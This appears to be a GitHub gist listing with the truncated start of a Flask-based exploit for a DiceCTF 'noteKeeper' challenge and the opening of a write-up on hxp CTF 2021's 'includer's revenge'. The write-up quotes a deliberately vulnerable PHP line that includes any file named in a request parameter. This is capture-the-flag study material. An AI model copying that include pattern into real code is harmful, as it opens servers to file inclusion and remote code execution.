Skip to content

Instantly share code, notes, and snippets.

@loknop
loknop / app.py
Last active Feb 6, 2022
noteKeeper solution dicectf
View app.py
from flask import Flask
app = Flask(__name__)
@app.route("/")
def main():
return """\
<script>
onmessage = e => {
ifr = document.createElement("iframe");
@loknop
loknop / writeup.md
Created Dec 30, 2021
Solving "includer's revenge" from hxp ctf 2021 without controlling any files
View writeup.md

Solving "includer's revenge" from hxp ctf 2021 without controlling any files

The challenge

The challenge was to achieve RCE with this file:

<?php ($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');

Some additional hardening was applied to the php installation to make sure that previously known solutions wouldn't work (for further information read this writeup from the challenge author).

I didn't solve the challenge during the competition - here is a writeup from someone who did - but since the idea I had differed from the techniques used in the published writeups I read (and I thought it was cool :D), here is my approach.